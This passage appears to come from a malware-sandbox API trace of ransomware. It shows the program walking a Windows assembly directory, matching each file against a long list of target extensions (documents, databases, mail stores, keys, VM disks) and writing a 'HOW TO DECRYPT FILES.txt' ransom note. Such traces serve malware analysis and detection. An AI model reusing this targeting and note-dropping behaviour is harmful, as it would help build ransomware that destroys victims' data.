(pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35\\MMCFxCommon.dll", pszSpec="*.pptx") returned 0 [0100.581] lstrlenA (lpString="*.pptx") returned 6 [0100.581] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35\\MMCFxCommon.dll", pszSpec="*.doc") returned 0 [0100.581] lstrlenA (lpString="*.doc") returned 5 [0100.581] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35\\MMCFxCommon.dll", pszSpec="*.dot") returned 0 [0100.581] lstrlenA (lpString="*.dot") returned 5 [0100.581] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35\\MMCFxCommon.dll", pszSpec="*.docx") returned 0 [0100.581] lstrlenA (lpString="*.docx") returned 6 [0100.581] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35\\MMCFxCommon.dll", pszSpec="*.7z") returned 0 [0100.581] lstrlenA (lpString="*.7z") returned 4 [0100.581] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35\\MMCFxCommon.dll", pszSpec="*.tar") returned 0 [0100.581] lstrlenA (lpString="*.tar") returned 5 [0100.581] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35\\MMCFxCommon.dll", pszSpec="*.bz2") returned 0 [0100.581] lstrlenA (lpString="*.bz2") returned 5 [0100.581] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35\\MMCFxCommon.dll", pszSpec="*.gz") returned 0 [0100.581] lstrlenA (lpString="*.gz") returned 4 [0100.581] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35\\MMCFxCommon.dll", pszSpec="*.mkv") returned 0 [0100.581] lstrlenA (lpString="*.mkv") returned 5 [0100.581] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35\\MMCFxCommon.dll", pszSpec="*.eml") returned 0 [0100.581] lstrlenA (lpString="*.eml") returned 5 [0100.581] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35\\MMCFxCommon.dll", pszSpec="*.msg") returned 0 [0100.581] lstrlenA (lpString="*.msg") returned 5 [0100.581] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35\\MMCFxCommon.dll", pszSpec="*.edb") returned 0 [0100.581] lstrlenA (lpString="*.edb") returned 5 [0100.581] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35\\MMCFxCommon.dll", pszSpec="*.accdb") returned 0 [0100.581] lstrlenA (lpString="*.accdb") returned 7 [0100.582] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35\\MMCFxCommon.dll", pszSpec="*.odb") returned 0 [0100.582] lstrlenA (lpString="*.odb") returned 5 [0100.582] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35\\MMCFxCommon.dll", pszSpec="*.java") returned 0 [0100.582] lstrlenA (lpString="*.java") returned 6 [0100.582] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35\\MMCFxCommon.dll", pszSpec="*.asm") returned 0 [0100.582] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35\\MMCFxCommon.dll", pszSpec="*.pfx") returned 0 [0100.582] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35\\MMCFxCommon.dll", pszSpec="*.pem") returned 0 [0100.582] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35\\MMCFxCommon.dll", pszSpec="*.p12") returned 0 [0100.582] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35\\MMCFxCommon.dll", pszSpec="*.gpg") returned 0 [0100.582] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35\\MMCFxCommon.dll", pszSpec="*.vsd") returned 0 [0100.582] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35\\MMCFxCommon.dll", pszSpec="*.odg") returned 0 [0100.582] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35\\MMCFxCommon.dll", pszSpec="*.raw") returned 0 [0100.582] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35\\MMCFxCommon.dll", pszSpec="*.nef") returned 0 [0100.583] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35\\MMCFxCommon.dll", pszSpec="*.svg") returned 0 [0100.583] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35\\MMCFxCommon.dll", pszSpec="*.psd") returned 0 [0100.583] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35\\MMCFxCommon.dll", pszSpec="*.vmx") returned 0 [0100.583] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35\\MMCFxCommon.dll", pszSpec="*.vmdk") returned 0 [0100.583] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35\\MMCFxCommon.dll", pszSpec="*.vdi") returned 0 [0100.583] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35\\MMCFxCommon.dll", pszSpec="*.lay6") returned 0 [0100.583] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35\\MMCFxCommon.dll", pszSpec="*.mpeg") returned 0 [0100.583] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35\\MMCFxCommon.dll", pszSpec="*.djvu") returned 0 [0100.583] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35\\MMCFxCommon.dll", pszSpec="*.tiff") returned 0 [0100.583] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35\\MMCFxCommon.dll", pszSpec="*.backup") returned 0 [0100.583] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35\\MMCFxCommon.dll", pszSpec="*.pdf") returned 0 [0100.583] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35\\MMCFxCommon.dll", pszSpec="*.cert") returned 0 [0100.583] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35\\MMCFxCommon.dll", pszSpec="*.docm") returned 0 [0100.583] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35\\MMCFxCommon.dll", pszSpec="*.xlsm") returned 0 [0100.584] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35\\MMCFxCommon.dll", pszSpec="*.dwg") returned 0 [0100.584] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35\\MMCFxCommon.dll", pszSpec="*.nd") returned 0 [0100.584] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35\\MMCFxCommon.dll", pszSpec="*.tlg") returned 0 [0100.584] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35\\MMCFxCommon.dll", pszSpec="*.lgb") returned 0 [0100.584] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35\\MMCFxCommon.dll", pszSpec="*.mov") returned 0 [0100.584] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35\\MMCFxCommon.dll", pszSpec="*.xdw") returned 0 [0100.584] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35\\MMCFxCommon.dll", pszSpec="*.ods") returned 0 [0100.584] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35\\MMCFxCommon.dll", pszSpec="*.wav") returned 0 [0100.584] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35\\MMCFxCommon.dll", pszSpec="*.mp3") returned 0 [0100.584] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35\\MMCFxCommon.dll", pszSpec="*.aiff") returned 0 [0100.584] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35\\MMCFxCommon.dll", pszSpec="*.flac") returned 0 [0100.584] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35\\MMCFxCommon.dll", pszSpec="*.m4a") returned 0 [0100.584] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon\\3.0.0.0__31bf3856ad364e35\\MMCFxCommon.dll", pszSpec="*.csv") returned 0 [0100.584] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff7d8830, ftCreationTime.dwHighDateTime=0x1ca0402, ftLastAccessTime.dwLowDateTime=0x81c8880, ftLastAccessTime.dwHighDateTime=0x1ca0421, ftLastWriteTime.dwLowDateTime=0xfc0cce5, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x1b000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="MMCFxCommon.dll", cAlternateFileName="")) returned 0 [0100.585] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0100.585] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd6dd1c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdd6dd1c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdd6dd1c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="3.0.0.0__31bf3856ad364e35", cAlternateFileName="300~1.0__")) returned 0 [0100.585] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0100.585] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x38308564, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x38308564, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4d004d, dwReserved1=0x460043, cFileName="MMCFxCommon.Resources", cAlternateFileName="MMCFXC~1.RES")) returned 1 [0100.585] lstrcmpA (lpString1=".", lpString2="MMCFxCommon.Resources") returned -1 [0100.585] lstrcmpA (lpString1="..", lpString2="MMCFxCommon.Resources") returned -1 [0100.585] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0100.585] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\", lpString2="MMCFxCommon.Resources" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources") returned="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources" [0100.585] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x38308564, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x38308564, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0100.587] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0100.587] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x38308564, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x38308564, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.587] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0100.587] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0100.587] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x1ef2c95d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ef2c95d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="3.0.0.0_en_31bf3856ad364e35", cAlternateFileName="300~1.0_E")) returned 1 [0100.587] lstrcmpA (lpString1=".", lpString2="3.0.0.0_en_31bf3856ad364e35") returned -1 [0100.587] lstrcmpA (lpString1="..", lpString2="3.0.0.0_en_31bf3856ad364e35") returned -1 [0100.587] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\*.*") returned="*.*" [0100.587] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\", lpString2="3.0.0.0_en_31bf3856ad364e35" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35") returned="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35" [0100.587] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x1ef2c95d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ef2c95d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0100.587] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0100.587] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x1ef2c95d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ef2c95d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.588] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0100.588] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0100.588] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb6d5cd, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xbeb51b3, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xbb6d5cd, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="MMCFxCommon.Resources.dll", cAlternateFileName="")) returned 1 [0100.588] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0100.588] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MMCFxCommon.Resources.dll") returned -1 [0100.588] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MMCFxCommon.Resources.dll") returned -1 [0100.588] lstrcmpiA (lpString1="", lpString2="MMCFxCommon.Resources.dll") returned -1 [0100.588] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35\\*.*") returned="*.*" [0100.588] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35\\" [0100.588] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35\\") returned="" [0100.588] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" [0100.588] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\mmcfxcommon.resources\\3.0.0.0_en_31bf3856ad364e35\\how to decrypt files.txt")) returned 0xffffffff [0100.588] CreateFileA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\mmcfxcommon.resources\\3.0.0.0_en_31bf3856ad364e35\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0100.589] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0100.590] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0100.591] CloseHandle (hObject=0x90) returned 1 [0100.591] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35\\", lpString2="MMCFxCommon.Resources.dll" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCFxCommon.Resources.dll") returned="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCFxCommon.Resources.dll" [0100.591] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCFxCommon.Resources.dll", pszSpec="*.ems") returned 0 [0100.591] lstrlenA (lpString="*.ems") returned 5 [0100.591] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCFxCommon.Resources.dll", pszSpec="*.db") returned 0 [0100.591] lstrlenA (lpString="*.db") returned 4 [0100.591] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCFxCommon.Resources.dll", pszSpec="*.dbf") returned 0 [0100.591] lstrlenA (lpString="*.dbf") returned 5 [0100.591] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCFxCommon.Resources.dll", pszSpec="*.myox") returned 0 [0100.591] lstrlenA (lpString="*.myox") returned 6 [0100.591] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCFxCommon.Resources.dll", pszSpec="*.myo") returned 0 [0100.591] lstrlenA (lpString="*.myo") returned 5 [0100.591] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCFxCommon.Resources.dll", pszSpec="*.qbw") returned 0 [0100.591] lstrlenA (lpString="*.qbw") returned 5 [0100.591] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCFxCommon.Resources.dll", pszSpec="*.qbb") returned 0 [0100.591] lstrlenA (lpString="*.qbb") returned 5 [0100.591] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCFxCommon.Resources.dll", pszSpec="*.qbm") returned 0 [0100.591] lstrlenA (lpString="*.qbm") returned 5 [0100.591] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCFxCommon.Resources.dll", pszSpec="*.qbo") returned 0 [0100.591] lstrlenA (lpString="*.qbo") returned 5 [0100.591] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCFxCommon.Resources.dll", pszSpec="*.qbx") returned 0 [0100.591] lstrlenA (lpString="*.qbx") returned 5 [0100.591] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCFxCommon.Resources.dll", pszSpec="*.qba") returned 0 [0100.592] lstrlenA (lpString="*.qba") returned 5 [0100.592] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCFxCommon.Resources.dll", pszSpec="*.qby") returned 0 [0100.592] lstrlenA (lpString="*.qby") returned 5 [0100.592] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCFxCommon.Resources.dll", pszSpec="*.qbj") returned 0 [0100.592] lstrlenA (lpString="*.qbj") returned 5 [0100.592] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCFxCommon.Resources.dll", pszSpec="*.ofx") returned 0 [0100.592] lstrlenA (lpString="*.ofx") returned 5 [0100.592] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCFxCommon.Resources.dll", pszSpec="*.qif") returned 0 [0100.592] lstrlenA (lpString="*.qif") returned 5 [0100.592] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCFxCommon.Resources.dll", pszSpec="*.mye") returned 0 [0100.592] lstrlenA (lpString="*.mye") returned 5 [0100.592] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCFxCommon.Resources.dll", pszSpec="*.mbox") returned 0 [0100.592] lstrlenA (lpString="*.mbox") returned 6 [0100.592] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCFxCommon.Resources.dll", pszSpec="*.eml") returned 0 [0100.592] lstrlenA (lpString="*.eml") returned 5 [0100.592] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCFxCommon.Resources.dll", pszSpec="*.pst") returned 0 [0100.592] lstrlenA (lpString="*.pst") returned 5 [0100.592] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCFxCommon.Resources.dll", pszSpec="*.ost") returned 0 [0100.592] lstrlenA (lpString="*.ost") returned 5 [0100.592] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCFxCommon.Resources.dll", pszSpec="*.idx") returned 0 [0100.592] lstrlenA (lpString="*.idx") returned 5 [0100.592] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCFxCommon.Resources.dll", pszSpec="*.dbx") returned 0 [0100.592] lstrlenA (lpString="*.dbx") returned 5 [0100.592] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCFxCommon.Resources.dll", pszSpec="*.sql") returned 0 [0100.592] lstrlenA (lpString="*.sql") returned 5 [0100.592] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCFxCommon.Resources.dll", pszSpec="*.mdb") returned 0 [0100.592] 